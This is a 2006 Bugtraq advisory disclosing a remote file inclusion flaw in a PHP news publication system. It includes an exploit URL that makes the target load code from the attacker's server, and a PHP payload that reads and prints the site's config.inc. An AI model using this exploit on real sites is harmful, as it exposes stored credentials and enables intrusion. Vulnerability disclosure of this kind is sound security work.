bugtraq - News publication system remote File include

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Date: 7 Nov 2006 15:02:32 -0000
From: navairum@...il.com
To: bugtraq@...urityfocus.com
Subject: News publication system remote File include

Software: News publication system
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Description: News publication system provides a mechanism for news blocks publication on site in conformity with rules and templates set. Provides a mechanism for adding news to the system and news management. Provides a mechanism for system management functions access control.
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Site: http://sourceforge.net/project/showfiles.php?group_id=27445
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The variable $path in class.Database.php isn't defined before it is included.  Register_Globals must be on.

Vulnerable Code:

if ($path!="")
  include $path."config.inc";
else
include "../config.inc";
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Exploit
http://[SITE]/newsp/lib/class.Database.php?path=http://[your server]/jacked.txt?
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Jacked.txt

<?php
$file='../config.inc';
$handle=fopen($file,'r');
while(!feof($handle))
{
if($handle)
{
$data = fgets($handle,filesize($file));
$data.='<br>';
}
else
{
echo 'handle failed';
}
echo $data;
}
exit(0);
?>

Navairum
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